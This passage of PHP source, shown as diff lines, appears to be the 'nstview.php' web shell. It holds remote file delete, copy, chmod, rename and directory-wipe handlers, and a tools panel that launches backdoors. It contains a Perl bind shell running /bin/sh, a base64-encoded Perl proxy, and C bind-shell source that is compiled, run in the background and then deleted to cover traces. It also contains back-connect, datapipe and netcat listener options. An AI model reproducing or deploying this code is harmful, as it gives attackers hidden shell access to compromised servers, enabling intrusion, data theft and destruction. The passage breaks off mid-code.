color=red>".mysql_error()."</font>"); +} + + +print $copyr; +die; +}#end of read_file_safe_mode + + +# sys +$wich_f=$_GET['wich_f']; +$delete=$_GET['delete']; +$del_f=$_GET['del_f']; +$chmod=$_GET['chmod']; +$ccopy_to=$_GET['ccopy_to']; + + +# delete +if(@$_GET['del_f']){ +if(!isset($delete)){ +print "<font color=red>Delete this file?</font><br> +<b>$d/$wich_f<br><br></b> +<a href='$php_self?d=$d&del_f=$wich_f&delete=1'>Yes</a> / <a href='$php_self?d=$d'>No</a> +";} +if($delete==1){ +unlink($d."/".$del_f); +print "<b>File: <font color=green>$d/$del_f DELETED!</font></b> +<br><b> <a href='$php_self?d=$d'># BACK</a> +"; +} +echo $copyr; +exit; +} + + +# copy to +if($ccopy_to){ +$wich_f=$_POST['wich_f']; +$to_f=$_POST['to_f']; +print "<font color=green>Copy file:<br> +$d/$ccopy_to</font><br> +<br> +<form method=post> +File:<br><input name=wich_f size=100 value='$d/$ccopy_to'><br><br> +To:<br><input name=to_f size=100 value='$d/nst_$ccopy_to'><br><br> +<input type=submit value=Copy></form><br><br> +"; + +if($to_f){ +@copy($wich_f,$to_f) or die("<font color=red>Cannot copy!!! maybe folder is not writable</font>"); +print "<font color=green><b>Copy success!!!</b></font><br>"; +} + +echo $copyr; +exit; +} + + +# chmod +if(@$_GET['chmod']){ +$perms = @fileperms($d."/".$wich_f); +print "<b><font color=green>CHMOD file $d/$wich_f</font><br> +<br><center>This file chmod is</b> "; +print perm($perms); +print "</center> +<br>"; +$chmd=<<<HTML + +<script> +<!-- + +function do_chmod(user) { + var field4 = user + "4"; + var field2 = user + "2"; + var field1 = user + "1"; + var total = "t_" + user; + var symbolic = "sym_" + user; + var number = 0; + var sym_string = ""; + + if (document.chmod[field4].checked == true) { number += 4; } + if (document.chmod[field2].checked == true) { number += 2; } + if (document.chmod[field1].checked == true) { number += 1; } + + if (document.chmod[field4].checked == true) { + sym_string += "r"; + } else { + sym_string += "-"; + } + if (document.chmod[field2].checked == true) { + sym_string += "w"; + } else { + sym_string += "-"; + } + if (document.chmod[field1].checked == true) { + sym_string += "x"; + } else { + sym_string += "-"; + } + + if (number == 0) { number = ""; } + document.chmod[total].value = number; + document.chmod[symbolic].value = sym_string; + + document.chmod.t_total.value = document.chmod.t_owner.value + document.chmod.t_group.value + document.chmod.t_other.value; + document.chmod.sym_total.value = "-" + document.chmod.sym_owner.value + document.chmod.sym_group.value + document.chmod.sym_other.value; +} +//--> +</script> + + + +<form name="chmod" method=post> +<p><table cellpadding="0" cellspacing="0" border="0" bgcolor="silver"><tr><td width="100%" valign="top"><table width="100%" cellpadding="5" cellspacing="2" border="0"><tr><td width="100%" bgcolor="#008000" align="center" colspan="5"><font color="#ffffff" size="3"><b>CHMOD (File Permissions)</b></font></td></tr> + <tr bgcolor="gray"> + <td align="left"><b>Permission</b></td> + <td align="center"><b>Owner</b></td> + <td align="center"><b>Group</b></td> + <td align="center"><b>Other</b></td> + <td bgcolor="#dddddd" rowspan="4"> </td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Read</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner4" value="4" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group4" value="4" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other4" value="4" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Write</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner2" value="2" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group2" value="2" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other2" value="2" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="left" nowrap><b>Execute</b></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="owner1" value="1" onclick="do_chmod('owner')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="group1" value="1" onclick="do_chmod('group')"></td> + <td align="center" bgcolor="#ffffff"><input type="checkbox" name="other1" value="1" onclick="do_chmod('other')"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Octal:</td> + <td align="center"><input type="text" name="t_owner" value="" size="1"></td> + <td align="center"><input type="text" name="t_group" value="" size="1"></td> + <td align="center"><input type="text" name="t_other" value="" size="1"></td> + <td align="left"><b>=</b> <input type="text" name="t_total" value="777" size="3"></td> + </tr><tr bgcolor="#dddddd"> + <td align="right" nowrap>Symbolic:</td> + <td align="center"><input type="text" name="sym_owner" value="" size="3"></td> + <td align="center"><input type="text" name="sym_group" value="" size="3"></td> + <td align="center"><input type="text" name="sym_other" value="" size="3"></td> + <td align="left" width=100><b>=</b> <input type="text" name="sym_total" value="" size="10"></td> + </tr> +</table></td></tr></table></p> +HTML; + +print "<center>".$chmd." + +<b>$d/$wich_f</b><br><br> +<input type=submit value=CHMOD></form> +</center> +</form> +"; +$t_total=$_POST['t_total']; +if($t_total){ +chmod($d."/".$wich_f,$t_total); +print "<center><font color=green><br><b>Now chmod is $t_total</b><br><br></font>"; +print "<a href='$php_self?d=$d'># BACK</a><br><br>"; +} +echo $copyr; +exit; +} + +# rename +if(@$_GET['rename']){ +print "<b><font color=green>RENAME $d/$wich_f ?</b></font><br><br> +<center> +<form method=post> +<b>RENAME</b><br><u>$wich_f</u><br><Br><B>TO</B><br> +<input name=rto size=40 value='$wich_f'><br><br> +<input type=submit value=RENAME> +</form> +"; + +@$rto=$_POST['rto']; + +if($rto){ +$fr1=$d."/".$wich_f; +$fr1=str_replace("//","/",$fr1); +$to1=$d."/".$rto; +$to1=str_replace("//","/",$to1); + +rename($fr1,$to1); +print "File <br><b>$wich_f</b><br>Renamed to <b>$rto</b><br><br>"; + +echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=".$php_self."?d=".$d."&rename=1&wich_f=".$rto."\">"; + +} + +echo $copyr; +exit; +} + + + + +if(@$_GET['deldir']){ +@$dir=$_GET['dir']; +function deldir($dir) +{ +$handle = @opendir($dir); +while (false!==($ff = @readdir($handle))){ +if($ff != "." && $ff != ".."){ +if(@is_dir("$dir/$ff")){ +deldir("$dir/$ff"); +}else{ +@unlink("$dir/$ff"); +}}} +@closedir($handle); +if(@rmdir($dir)){ +@$success = true;} +return @$success; +} +$dir=@$dir; +deldir($dir); + +$rback=$_GET['rback']; +@$rback=explode("/",$rback); +$crb=count($rback); +for($i=0; $i<$crb-1; $i++){ + @$x.=$rback[$i]."/"; +} +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL='$php_self?d=".@$x."'\">"; +echo $copyr; +exit;} + + +if(@$_GET['t']=="tools"){ + # unix +if($os=="unix"){ +print " +<center><br> +<font color=red><b>P.S: After you Start, your browser may stuck! You must close it, and then run nstview.php again.</b><br></font> +<table border=1> +<tr><td align=center><b>[Name]</td><td align=center><b>[C]</td><td align=center><b>[Port]</td><td align=center><b>[Perl]</td><td align=center><b>[Port]</td><td align=center><b>[Other options, info]</td></tr> +<tr><form method=post><td><font color=red><b>Backdoor:</b></font></td><td><input type=submit name=c_bd value='Start' style='background-color:green;'></td><td><input name=port size=6 value=5545></td></form><form method=post><td><input type=submit name=perl_bd value='Start' style='background-color:green;'></td><td><input name=port value=5551 size=6></td><td>none</td></form></tr> +<tr><form method=post><td><font color=red><b>Back connect:</b></font></td><td><input type=submit value='Start' name=bc_c style='background-color:green;'></td><td><input name=port_c size=6 value=5546></td><td><input type=submit value='Start' name=port_p disabled style='background-color:gray;'></td><td><input name=port value=5552 size=6></td><td>b.c. ip: <input name=ip value='".$_SERVER['REMOTE_ADDR']."'> nc -l -p <i>5546</i></td></form></tr> +<tr><form method=post><td><font color=red><b>Datapipe:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port_1 size=6 value=5547></td><td><input type=submit value='Start' name=datapipe_pl style='background-color:green;'></td><td><input name=port_2 value=5553 size=6></td><td>other serv ip: <input name=ip> port: <input name=port_3 value=5051 size=6></td></form></tr> +<tr><form method=post><td><font color=red><b>Web proxy:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5548></td></form><form method=post><td><input type=submit value='Start' name=perl_proxy style='background-color:green;'></td><td><input name=port size=6 value=5554></td></form><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 4 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5549></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5555></td><td>none</td></tr> +<tr><form method=post><td><font color=red><b>Socks 5 serv:</b></font></td><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5550></td></form><td><input type=submit value='Start' disabled style='background-color:gray;'></td><td><input name=port size=6 value=5556></td><td>none</td></tr> +</table> +</center> +<br><Br> +"; +}#end of unix + + +if($_POST['perl_bd']){ +$port=$_POST['port']; +$perl_bd_scp = " +use Socket;\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')); +setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);bind(S,sockaddr_in(\$p,INADDR_ANY)); +listen(S,50);while(1){accept(X,S);if(!(\$pid=fork)){if(!defined \$pid){exit(0);} +open STDIN,\"<&X\";open STDOUT,\">&X\";open STDERR,\">&X\";exec(\"/bin/sh -i\"); +close X;}}"; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl /tmp/nst_perl_bd.pl &"); +unlink("/tmp/nst_perl_bd.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_perl_bd.pl","w"); +fwrite($fp,"$perl_bd_scp"); +passthru("nohup perl .nst_bd_tmp/nst_perl_bd.pl &"); +unlink(".nst_bd_tmp/nst_perl_bd.pl"); +rmdir(".nst_bd_tmp"); +} +} +$show_ps="1"; +}#end of start perl_bd + +if($_POST['perl_proxy']){ +$port=$_POST['port']; +$perl_proxy_scp = "IyEvdXNyL2Jpbi9wZXJsICANCiMhL3Vzci91c2MvcGVybC81LjAwNC9iaW4vcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtIGh0dHAgcHJveHkgc2VydmVyLiB6YXB1c2thamVtOiBwZXJsIHByb3h5LnBsCTgxODEgbHVib2ogcG9ydCB2aTZpIDEwMjQtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KI3JlcXVpcmUgInN5cy9zb2NrZXQucGgiOw0KdXNlIFNvY2tldDsNCnNyYW5kICh0aW1lfHwkJCk7DQojLS0tICBEZWZpbmUgYSBmcmllbmRseSBleGl0IGhhbmRsZXINCiRTSUd7J0tJTEwnfSA9ICRTSUd7UVVJVH0gPSAkU0lHe0lOVH0gPSAnZXhpdF9oYW5kbGVyJzsNCnN1YiBleGl0X2hhbmRsZXIgew0KICAgIHByaW50ICJcblxuIC0tLSBQcm94eSBzZXJ2ZXIgaXMgZHlpbmcgLi4uXG5cbiI7DQogICAgY2xvc2UoU09DS0VUKTsNCiAgICBleGl0Ow0KDQp9DQojLS0tICBTZXR1cCBzb2NrZXQNCg0KJHwgPSAxOw0KJHByb3h5X3BvcnQgPSBzaGlmdChAQVJHVik7DQokcHJveHlfcG9ydCA9IDgxODEgdW5sZXNzICRwcm94eV9wb3J0ID1+IC9cZCsvOw0KDQokc29ja2V0X2Zvcm1hdCA9ICdTIG4gYTQgeDgnOw0KJmxpc3Rlbl90b19wb3J0KFNPQ0tFVCwgJHByb3h5X3BvcnQpOw0KJGxvY2FsX2hvc3QgPSBgaG9zdG5hbWVgOw0KY2hvcCgkbG9jYWxfaG9zdCk7DQokbG9jYWxfaG9zdF9pcCA9IChnZXRob3N0YnluYW1lKCRsb2NhbF9ob3N0KSlbNF07DQpwcmludCAiIC0tLSBQcm94eSBzZXJ2ZXIgcnVubmluZyBvbiAkbG9jYWxfaG9zdCBwb3J0OiAkcHJveHlfcG9ydCBcblxuIjsNCiMtLS0gIExvb3AgZm9yZXZlciB0YWtpbmcgcmVxdWVzdHMgYXMgdGhleSBjb21lDQp3aGlsZSAoMSkgew0KIy0tLSAgV2FpdCBmb3IgcmVxdWVzdA0KICAgIHByaW50ICIgLS0tIFdhaXRpbmcgdG8gYmUgb2Ygc2VydmljZSAuLi5cbiI7DQogICAgKCRhZGRyID0gYWNjZXB0KENISUxELFNPQ0tFVCkpIHx8IGRpZSAiYWNjZXB0ICQhIjsNCiAgICAoJHBvcnQsJGluZXRhZGRyKSA9ICh1bnBhY2soJHNvY2tldF9mb3JtYXQsJGFkZHIpKVsxLDJdOw0KICAgIEBpbmV0YWRkciA9IHVucGFjaygnQzQnLCRpbmV0YWRkcik7DQogICAgcHJpbnQgIkNvbm5lY3Rpb24gZnJvbSAiLCBqb2luKCIuIiwgQGluZXRhZGRyKSwgIiAgcG9ydDogJHBvcnQgXG4iOw0KIy0tLSAgRm9yayBhIHN1YnByb2Nlc3MgdG8gaGFuZGxlIHJlcXVlc3QuDQojLS0tICBQYXJlbnQgcHJvY2VzIGNvbnRpbnVlcyBsaXN0ZW5pbmcuDQogICAgaWYgKGZvcmspIHsNCgl3YWl0OwkJIyBGb3Igbm93IHdlIHdhaXQgZm9yIHRoZSBjaGlsZCB0byBmaW5pc2gNCgluZXh0OwkJIyBXZSB3YWl0IHNvIHRoYXQgcHJpbnRvdXRzIGRvbid0IG1peA0KICAgIH0NCiMtLS0gIFJlYWQgZmlyc3QgbGluZSBvZiByZXF1ZXN0IGFuZCBhbmFseXplIGl0Lg0KIy0tLSAgUmV0dXJuIGFuZCBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QgbWV0aG9kLg0KICAgKCRmaXJzdCwkbWV0aG9kKSA9ICZhbmFseXplX3JlcXVlc3Q7DQojLS0tICBTZW5kIHJlcXVlc3QgdG8gcmVtb3RlIGhvc3QNCiAgICBwcmludCBVUkwgJGZpcnN0Ow0KICAgIHByaW50ICRmaXJzdDsNCiAgICB3aGlsZSAoPENISUxEPikgew0KCXByaW50ICRfOw0KCW5leHQgaWYgKC9Qcm94eS1Db25uZWN0aW9uOi8pOw0KCXByaW50IFVSTCAkXzsNCglsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvKTsNCiAgICB9DQogICAgaWYgKCRtZXRob2QgZXEgIlBPU1QiKSB7DQoJJGRhdGEgPSA8Q0hJTEQ+Ow0KCXByaW50ICRkYXRhOw0KCXByaW50IFVSTCAkZGF0YTsNCiAgICB9DQogICAgcHJpbnQgVVJMICJcbiI7DQojLS0tICBXYWl0IGZvciByZXNwb25zZSBhbmQgdHJhbnNmZXIgaXQgdG8gcmVxdWVzdG9yLg0KICAgIHByaW50ICIgLS0tIERvbmUgc2VuZGluZy4gUmVzcG9uc2U6IFxuXG4iOw0KICAgICRoZWFkZXIgPSAxOw0KICAgICR0ZXh0ID0gMDsNCiAgICB3aGlsZSAoPFVSTD4pIHsNCglwcmludCBDSElMRCAkXzsNCglpZiAoJGhlYWRlciB8fCAkdGV4dCkgewkgICAgICMgT25seSBwcmludCBoZWFkZXIgJiB0ZXh0IGxpbmVzIHRvIFNURE9VVA0KCSAgICBwcmludCAkXzsNCgkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15bXHNceDAwXSokLykgew0KCQkkaGVhZGVyID0gMDsNCgkgICAgfQ0KIwkgICAgaWYgKCRoZWFkZXIgJiYgJF8gPX4gL15Db250ZW50LXR5cGU6IHRleHQvKSB7DQojCQkkdGV4dCA9IDE7DQojCSAgICB9DQoJfQ0KICAgIH0NCiAgICBjbG9zZShVUkwpOw0KICAgIGNsb3NlKENISUxEKTsNCiAgICBleGl0OwkJCSMgRXhpdCBmcm9tIGNoaWxkIHByb2Nlc3MNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0JYW5hbHl6ZV9yZXF1ZXN0CQkJCQkJCS0tDQojLS0JCQkJCQkJCQktLQ0KIy0tCUFuYWx5emUgYSBuZXcgcmVxdWVzdC4gIEZpcnN0IHJlYWQgaW4gZmlyc3QgbGluZSBvZiByZXF1ZXN0LgktLQ0KIy0tCVJlYWQgVVJMIGZyb20gaXQsIHByb2Nlc3MgVVJMIGFuZCBvcGVuIGNvbm5lY3Rpb24uCQktLQ0KIy0tCVJldHVybiBhbiBlZGl0ZWQgdmVyc2lvbiBvZiB0aGUgZmlyc3QgbGluZSBhbmQgdGhlIHJlcXVlc3QJLS0NCiMtLQltZXRob2QuCQkJCQkJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBhbmFseXplX3JlcXVlc3Qgew0KIy0tLSAgUmVhZCBmaXJzdCBsaW5lIG9mIEhUVFAgcmVxdWVzdA0KICAgICRmaXJzdCA9IDxDSElMRD47DQoNCiAgICAkdXJsID0gKCRmaXJzdCA9fiBtfChodHRwOi8vXFMrKXwpWzBdOw0KICAgIHByaW50ICJSZXF1ZXN0IGZvciBVUkw6ICAkdXJsIFxuIjsNCg0KIy0tLSAgQ2hlY2sgaWYgZmlyc3QgbGluZSBpcyBvZiB0aGUgZm9ybSBHRVQgaHR0cDovL2hvc3QtbmFtZSAuLi4NCiAgICAoJG1ldGhvZCwgJHJlbW90ZV9ob3N0LCAkcmVtb3RlX3BvcnQpID0gDQoJKCRmaXJzdCA9fiBtIShHRVR8UE9TVHxIRUFEKSBodHRwOi8vKFteLzpdKyk6PyhcZCopISApOw0KIy0tLSAgSWYgbm90LCBiYWQgcmVxdWVzdC4NCiAgICANCiAgICBpZiAoISRyZW1vdGVfaG9zdCkgew0KCXByaW50ICRmaXJzdDsNCgl3aGlsZSAoPENISUxEPikgew0KCSAgICBwcmludCAkXzsNCgkgICAgbGFzdCBpZiAoJF8gPX4gL15bXHNceDAwXSokLyk7DQoJfQ0KCXByaW50ICJJbnZhbGlkIEhUVFAgcmVxdWVzdCBmcm9tICIsIGpvaW4oIi4iLCBAaW5ldGFkZHIpLCAiXG4iOw0KIwlwcmludCBDSElMRCAiQ29udGVudC10eXBlOiB0ZXh0L3BsYWluIiwiXG5cbiI7DQoJcHJpbnQgQ0hJTEQgIkkgZG9uJ3QgdW5kZXJzdGFuZCB5b3VyIHJlcXVlc3QuXG4iOw0KCWNsb3NlKENISUxEKTsNCglleGl0Ow0KICAgIH0NCiMtLS0gIElmIHJlcXVlc3RlZCBVUkwgaXMgdGhlIHByb3h5IHNlcnZlciB0aGVuIGlnbm9yZSByZXF1ZXN0DQogICAgJHJlbW90ZV9pcCA9IChnZXRob3N0YnluYW1lKCRyZW1vdGVfaG9zdCkpWzRdOw0KICAgIGlmICgoJHJlbW90ZV9pcCBlcSAkbG9jYWxfaG9zdF9pcCkgJiYgKCRyZW1vdGVfcG9ydCBlcSAkcHJveHlfcG9ydCkpIHsNCglwcmludCAkZmlyc3Q7DQoJd2hpbGUgKDxDSElMRD4pIHsNCgkgICAgcHJpbnQgJF87DQoJICAgIGxhc3QgaWYgKCRfID1+IC9eW1xzXHgwMF0qJC8pOw0KCX0NCglwcmludCAiIC0tLSBDb25uZWN0aW9uIHRvIHByb3h5IHNlcnZlciBpZ25vcmVkLlxuIjsNCiMJcHJpbnQgQ0hJTEQgIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIsIlxuXG4iOw0KCXByaW50IENISUxEICJJdCdzIG5vdCBuaWNlIHRvIG1ha2UgbWUgbG9vcCBvbiBteXNlbGYhLlxuIjsNCgljbG9zZShDSElMRCk7DQoJZXhpdDsNCiAgICB9DQojLS0tICBTZXR1cCBjb25uZWN0aW9uIHRvIHRhcmdldCBob3N0IGFuZCBzZW5kIHJlcXVlc3QNCiAgICAkcmVtb3RlX3BvcnQgPSAiaHR0cCIgdW5sZXNzICgkcmVtb3RlX3BvcnQpOw0KICAgICZvcGVuX2Nvbm5lY3Rpb24oVVJMLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7DQojLS0tICBSZW1vdmUgcmVtb3RlIGhvc3RuYW1lIGZyb20gVVJMDQogICAgICAgICRmaXJzdCA9fiBzL2h0dHA6XC9cL1teXC9dKy8vOw0KICAgICgkZmlyc3QsICRtZXRob2QpOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLQlsaXN0ZW5fdG9fcG9ydChTT0NLRVQsICRwb3J0KQkJCQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgbGlzdGVucyB0byBhIHNwZWNpZmljIHBvcnQJCQktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBsaXN0ZW5fdG9fcG9ydCB7DQogICAgbG9jYWwgKCRwb3J0KSA9ICRfWzFdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIsICRtYXhfcmVxdWVzdHMpOw0KICAgICRtYXhfcmVxdWVzdHMgPSAzOwkJIyBNYXggbnVtYmVyIG9mIG91dHN0YW5kaW5nIHJlcXVlc3RzDQogICAgJHNvY2tldF9mb3JtYXQgPSAnUyBuIGE0IHg4JzsNCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcGFja2VkX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICJcMFwwXDBcMCIpOw0KICAgIHNvY2tldCgkX1swXSwgJlBGX0lORVQsICZTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUgInNvY2tldDogJCEiOw0KICAgIGJpbmQoJF9bMF0sICRwYWNrZWRfcG9ydCkgfHwgZGllICJiaW5kOiAkISI7DQogICAgbGlzdGVuKCRfWzBdLCAkbWF4X3JlcXVlc3RzKSB8fCBkaWUgImxpc3RlbjogJCEiOw0KICAgICRjdXIgPSBzZWxlY3QoJF9bMF0pOyAgDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQogICAgfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tCW9wZW5fY29ubmVjdGlvbihTT0NLRVQsICRyZW1vdGVfaG9zdG5hbWUsICRwb3J0KQkJLS0NCiMtLQkJCQkJCQkJCS0tDQojLS0JQ3JlYXRlIGEgc29ja2V0IHRoYXQgY29ubmVjdHMgdG8gYSBjZXJ0YWluIGhvc3QJCQktLQ0KIy0tCSRsb2NhbF9ob3N0X2lwIGlzIGFzc3VtZWQgdG8gYmUgbG9jYWwgaG9zdG5hbWUgSVAgYWRkcmVzcwktLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBvcGVuX2Nvbm5lY3Rpb24gew0KICAgIGxvY2FsICgkcmVtb3RlX2hvc3RuYW1lLCAkcG9ydCkgPSBAX1sxLDJdOw0KICAgIGxvY2FsICgkc29ja2V0X2Zvcm1hdCwgJHByb3RvLCAkcGFja2VkX3BvcnQsICRjdXIpOw0KICAgIGxvY2FsICgkcmVtb3RlX2FkZHIsIEByZW1vdGVfaXAsICRyZW1vdGVfaXApOw0KICAgIGxvY2FsICgkbG9jYWxfcG9ydCwgJHJlbW90ZV9wb3J0KTsNCiAgICBpZiAoJHBvcnQgIX4gL15cZCskLykgew0KCSRwb3J0ID0gKGdldHNlcnZieW5hbWUoJHBvcnQsICJ0Y3AiKSlbMl07DQoJJHBvcnQgPSA2NjY3IHVubGVzcyAoJHBvcnQpOw0KICAgIH0NCiAgICAkcHJvdG8gPSAoZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKVsyXTsNCiAgICAkcmVtb3RlX2FkZHIgPSAoZ2V0aG9zdGJ5bmFtZSgkcmVtb3RlX2hvc3RuYW1lKSlbNF07DQogICAgaWYgKCEkcmVtb3RlX2FkZHIpIHsNCglkaWUgIlVua25vd24gaG9zdDogJHJlbW90ZV9ob3N0bmFtZSI7DQogICAgfQ0KDQogICAgQHJlbW90ZV9pcCA9IHVucGFjaygiQzQiLCAkcmVtb3RlX2FkZHIpOw0KICAgICRyZW1vdGVfaXAgPSBqb2luKCIuIiwgQHJlbW90ZV9pcCk7DQogICAgcHJpbnQgIkNvbm5lY3RpbmcgdG8gJHJlbW90ZV9pcCBwb3J0ICRwb3J0LlxuXG4iOw0KICAgICRzb2NrZXRfZm9ybWF0ID0gJ1MgbiBhNCB4OCc7DQogICAgJGxvY2FsX3BvcnQgID0gcGFjaygkc29ja2V0X2Zvcm1hdCwgJkFGX0lORVQsIDAsICRsb2NhbF9ob3N0X2lwKTsNCiAgICAkcmVtb3RlX3BvcnQgPSBwYWNrKCRzb2NrZXRfZm9ybWF0LCAmQUZfSU5FVCwgJHBvcnQsICRyZW1vdGVfYWRkcik7DQogICAgc29ja2V0KCRfWzBdLCAmQUZfSU5FVCwgJlNPQ0tfU1RSRUFNLCAkcHJvdG8pIHx8IGRpZSAic29ja2V0OiAkISI7DQogICAgYmluZCgkX1swXSwgJGxvY2FsX3BvcnQpIHx8IGRpZSAiYmluZDogJCEiOw0KICAgIGNvbm5lY3QoJF9bMF0sICRyZW1vdGVfcG9ydCkgfHwgZGllICJzb2NrZXQ6ICQhIjsNCiAgICAkY3VyID0gc2VsZWN0KCRfWzBdKTsgIA0KDQogICAgJHwgPSAxOwkJCQkjIERpc2FibGUgYnVmZmVyaW5nIG9uIHNvY2tldC4NCiAgICBzZWxlY3QoJGN1cik7DQp9DQoNCg=="; + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl /tmp/nst_perl_proxy.pl $port &"); +unlink("/tmp/nst_perl_proxy.pl"); +}else{ +if(is_writable(".")){ +mkdir(".nst_proxy_tmp"); +$fp=fopen(".nst_proxy_tmp/nst_perl_proxy.pl","w"); +fwrite($fp,base64_decode($perl_proxy_scp)); +passthru("nohup perl .nst_proxy_tmp/nst_perl_proxy.pl $port &"); +unlink(".nst_proxy_tmp/nst_perl_proxy.pl"); +rmdir(".nst_proxy_tmp"); +} +} +$show_ps="1"; +}#end of start perl_proxy + +if($_POST['c_bd']){ +$port=$_POST['port']; +$c_bd_scp = "#define PORT $port +#include <stdio.h> +#include <signal.h> +#include <sys/types.h> +#include <sys/socket.h> +#include <netinet/in.h> + +int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; +struct sockaddr_in serv_addr; +struct sockaddr_in client_addr; + +int main () +{ + soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + if (soc_des == -1) + exit(-1); + bzero((char *) &serv_addr, sizeof(serv_addr)); + serv_addr.sin_family = AF_INET; + serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); + serv_addr.sin_port = htons(PORT); + soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); + if (soc_rc != 0) + exit(-1); + if (fork() != 0) + exit(0); + setpgrp(); + signal(SIGHUP, SIG_IGN); + if (fork() != 0) + exit(0); + soc_rc = listen(soc_des, 5); + if (soc_rc != 0) + exit(0); + while (1) { + soc_len = sizeof(client_addr); + soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); + if (soc_cli < 0) + exit(0); + cli_pid = getpid(); + server_pid = fork(); + if (server_pid != 0) { + dup2(soc_cli,0); + dup2(soc_cli,1); + dup2(soc_cli,2); + execl(\"/bin/sh\",\"sh\",(char *)0); + close(soc_cli); + exit(0); + } + close(soc_cli); + } +} + +"; + + +if(is_writable("/tmp")){ +$fp=fopen("/tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc /tmp/nst_c_bd.c -o /tmp/nst_bd"); +passthru("nohup /tmp/nst_bd &"); +unlink("/tmp/nst_c_bd.c"); +unlink("/tmp/nst_bd"); +}else{ +if(is_writable(".")){ +mkdir(".nst_bd_tmp"); +$fp=fopen(".nst_bd_tmp/nst_c_bd.c","w"); +fwrite($fp,"$c_bd_scp"); +passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd"); +passthru("nohup .nst_bd_tmp/nst_bd &"); +unlink(".nst_bd_tmp/nst_bd"); 